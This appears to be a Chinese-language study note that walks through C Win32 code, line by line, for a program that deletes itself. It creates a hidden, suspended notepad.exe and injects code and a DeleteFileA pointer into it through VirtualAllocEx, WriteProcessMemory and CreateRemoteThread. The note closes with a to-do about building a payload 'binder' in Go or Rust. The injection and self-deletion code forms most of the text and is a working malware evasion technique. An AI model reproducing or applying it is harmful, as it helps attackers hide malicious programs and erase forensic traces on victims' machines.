ShellExecuteExA(&shellexecute);ShellExecuteExA 函数使用 shellexecute 结构体中的参数执行与指定文件关联的默认操作。

实现自删除// 3. 实现自删除

//下面是实现自删除,网上的自删除方法有很多,用的多的是批处理,这里是创建一个进程然后用远程线程注入来让notepad删除当前程序

STARTUPINFOA si = { 0 };

PROCESS_INFORMATION pi = { 0 };

CreateProcessA("c:\\windows\\system32\\notepad.exe", 0, 0, 0, TRUE, CREATE_NO_WINDOW | CREATE_SUSPENDED, 0, 0, &si, &pi);

//创建进程

DeleteStruct DS;

DS.dwDeleteFile = GetProcAddress(GetModuleHandleA("kernel32.dll"), "DeleteFileA");

GetModuleFileNameA(NULL, DS.dwDeleteFile_param_1, MAX_PATH);

//创建远程线程不能直接使用API,需要把函数指针放在结构中传过去

//这里需要DeleteFileA这个函数,用GetProcAddress得到指针后传过去

LPVOID ADDRESS = VirtualAllocEx(pi.hProcess, 0, 2048, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

WriteProcessMemory(pi.hProcess, ADDRESS, &threadProc, 2048, 0);

//为函数开辟一块内存

LPVOID pRemoteParam = VirtualAllocEx(pi.hProcess, 0, sizeof(DS), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

WriteProcessMemory(pi.hProcess, pRemoteParam, &DS, sizeof(DS), 0);

DWORD RETSIZE;

//为参数开辟一块内存

HANDLE Thread = CreateRemoteThread(pi.hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)ADDRESS, pRemoteParam, 0, &RETSIZE);

//执行该线程

CloseHandle(Thread);

//关闭句柄使用 CreateProcessA 创建一个挂起的 notepad.exe 进程。初始化 DeleteStruct 结构体,设置 dwDeleteFile 为 DeleteFileA 函数的地址,并设置 dwDeleteFile_param_1 为当前可执行文件的路径。使用 VirtualAllocEx 和 WriteProcessMemory 在远程进程中分配内存并写入 threadProc 函数和参数。使用 CreateRemoteThread 在远程进程中创建线程,执行 threadProc 函数,该函数会删除当前可执行文件。创建新进程

STARTUPINFOA si = { 0 };

PROCESS_INFORMATION pi = { 0 };STARTUPINFOA:指定新进程的主窗口的属性。PROCESS_INFORMATION:接收新进程和其主线程的标识符。CreateProcessA("c:\\windows\\system32\\notepad.exe", 0, 0, 0, TRUE, CREATE_NO_WINDOW | CREATE_SUSPENDED, 0, 0, &si, &pi);创建一个新的进程,此处是 notepad.exe, 参数 CREATE_SUSPENDED 表示新进程创建后处于挂起状态。

CreateProcessA 是用于创建一个新的进程和其主线程的函数。在这里,它被用来创建 notepad.exe 进程。

lpApplicationName: 指向一个以 null 结尾的字符串,指定可执行模块的名称

这里是 "c:\\windows\\system32\\notepad.exe" 表示要创建的进程是 Notepad

lpCommandLine: 指向一个以 null 结尾的字符串,作为命令行参数传递给新进程

这里为 0,表示没有额外的命令行参数

lpProcessAttributes: 指向 SECURITY_ATTRIBUTES 结构体,定义新进程的安全属性。

这里为 0,表示使用默认安全属性。

lpThreadAttributes: 指向 SECURITY_ATTRIBUTES 结构体,定义新进程的主线程的安全属性

这里为 0,表示使用默认安全属性。

bInheritHandles: 如果为 TRUE,则新进程将继承调用进程的句柄

句柄: 在操作系统中,句柄(Handle)是一个用于标识系统资源的抽象引用。句柄本质上是一个唯一的整数值,由操作系统生成并返回给应用程序,以便应用程序可以在后续操作中引用特定的资源。在 Windows 操作系统中,句柄用于标识各种系统资源,包括进程、线程、文件、窗口、内存等

句柄继承: 句柄继承是指一个进程(父进程)在创建另一个进程(子进程)时,允许子进程继承父进程的句柄。这意味着子进程可以访问和使用这些句柄,以便执行操作。

句柄继承在进程间通信和资源共享中非常有用。例如,父进程可以创建一个文件句柄,并允许子进程继承这个句柄,以便子进程能够读写同一个文件。

dwCreationFlags: 控制新进程的优先级和创建状态

这里使用了两个标志

CREATE_NO_WINDOW:不为新进程创建窗口。

CREATE_SUSPENDED:创建的进程将处于挂起状态,直到调用 ResumeThread 函数。

挂起状态: 进程处于挂起状态(Suspended State)是指进程已经创建但未开始执行。这意味着操作系统已经为进程分配了必要的资源,并且进程已经在系统中注册,但进程中的线程没有开始执行任何代码。

创建挂起状态的进程通常用于以下目的

配置初始化: 可以在进程启动前进行一些必要的初始化配置,如设置环境变量、注入代码或修改进程的内存。远程线程注入: 在挂起状态下,可以在进程内存空间中注入自定义代码或线程,然后恢复进程执行。同步操作: 在某些情况下,父进程需要在子进程启动前完成一些操作,因此需要子进程处于挂起状态。lpEnvironment: 指向新进程的环境块

这里为 0,表示使用调用进程的环境。

lpCurrentDirectory: 指向一个以 null 结尾的字符串,指定新进程的工作目录

这里为 0,表示使用调用进程的工作目录。

lpStartupInfo: 指向 STARTUPINFOA 结构体,该结构体指定新进程的主窗口的属性

si 是一个使用 {0} 初始化的 STARTUPINFOA 结构体。

si.cbSize:在调用 CreateProcessA 时,结构体的 cbSize 成员必须设置为结构体的大小。尽管这里未显式设置,CreateProcessA 内部会设置该值。虽然大部分成员为默认值,但 CreateProcessA 需要这个结构体来获取新进程的启动信息。lpProcessInformation: 指向 PROCESS_INFORMATION 结构体,该结构体接收新进程和其主线程的标识符。在这里,pi 是一个已经初始化的 PROCESS_INFORMATION 结构体。

pi 结构体用于接收新进程和其主线程的标识符,以及其他与进程相关的信息。CreateProcessA 成功返回后,pi 会包含新进程和线程的句柄和标识符。获取删除文件函数指针

DeleteStruct DS;

DS.dwDeleteFile = GetProcAddress(GetModuleHandleA("kernel32.dll"), "DeleteFileA");

GetModuleFileNameA(NULL, DS.dwDeleteFile_param_1, MAX_PATH);GetModuleHandleA("kernel32.dll"):获取 kernel32.dll 模块的句柄。GetProcAddress:获取 DeleteFileA 函数的地址,并存储在 DS.dwDeleteFile 中。GetModuleFileNameA: 获取当前进程的文件名并存储在 DS.dwDeleteFile_param_1 中。定义结构体用于存储删除文件所需的信息

DeleteStruct DS; // 用于存储删除文件所需的信息typedef struct DeleteStruct

{

FARPROC dwDeleteFile;

CHAR dwDeleteFile_param_1[MAX_PATH];

};获取函数地址

DS.dwDeleteFile = GetProcAddress(GetModuleHandleA("kernel32.dll"), "DeleteFileA");DS.dwDeleteFile 将存储 DeleteFileA 函数的地址,以便后续调用。

GetModuleHandleA("kernel32.dll"):获取 kernel32.dll 模块的句柄。这是一个常用的系统 DLL,包含了许多常见的系统函数。该句柄代表 kernel32.dll 模块在当前进程地址空间中的基地址。

GetProcAddress:从指定的模块中获取指定函数的地址。这里指定的函数是 DeleteFileA,它是 kernel32.dll 中用于删除文件的函数。

DeleteFileA 是 Windows API 中的一个函数,用于删除指定的文件。它的原型如下:

BOOL WINAPI DeleteFileA(

_In_ LPCSTR lpFileName

);其中 lpFileName 参数是要删除的文件路径。

GetProcAddress 是一个 Windows API 函数,用于从指定的模块中获取一个函数的地址。

第一个参数是模块的句柄,这里传入的是 kernel32.dll 模块的句柄。

因为 DeleteFileA 函数是 kernel32.dll 模块中的一部分。为了从一个模块(DLL)中获取某个函数的地址,必须先获得该模块在当前进程中的基地址,这就是模块的句柄。

第二个参数是要获取地址的函数名,这里传入的是 "DeleteFileA",即我们要获取 DeleteFileA 函数的地址。

调用 GetProcAddress 返回一个指向 DeleteFileA 函数的指针。

获取当前模块的文件路径

GetModuleFileNameA(NULL, DS.dwDeleteFile_param_1, MAX_PATH);获取当前正在执行的可执行文件的完整路径,并将其存储在 DS.dwDeleteFile_param_1 字符数组中。

GetModuleFileNameA 是一个 Windows API 函数,其作用是获取指定模块的文件名。

hModule:模块的句柄

这里是 NULL,函数将返回当前进程的可执行文件的路径。

lpFilename:指向接收模块路径和文件名的缓冲区的指针。

nSize:缓冲区的大小,以字符为单位。

MAX_PATH 是一个常量,表示路径的最大长度。这个常量通常定义为 260 字符,以确保缓冲区足够大以容纳完整的路径名。

分配内存并写入远程进程

LPVOID ADDRESS = VirtualAllocEx(pi.hProcess, 0, 2048, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

WriteProcessMemory(pi.hProcess, ADDRESS, &threadProc, 2048, 0);VirtualAllocEx 为远程进程分配内存,大小为 2048 字节,权限为可执行、可读、可写。WriteProcessMemory 将 threadProc 函数的代码写入远程进程的分配内存中。

分配内存并写入参数

LPVOID pRemoteParam = VirtualAllocEx(pi.hProcess, 0, sizeof(DS), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

WriteProcessMemory(pi.hProcess, pRemoteParam, &DS, sizeof(DS), 0);为远程进程分配内存以存储 DeleteStruct 参数,并将 DS 写入该内存中。

创建远程线程

DWORD RETSIZE;

HANDLE Thread = CreateRemoteThread(pi.hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)ADDRESS, pRemoteParam, 0, &RETSIZE);

CloseHandle(Thread);CreateRemoteThread 在远程进程中创建线程,起始地址为 ADDRESS,参数为 pRemoteParam。使用 CloseHandle 关闭线程句柄。TODO捆绑程序 - Google Search整个 Go 或者 Rust 写的捆绑程序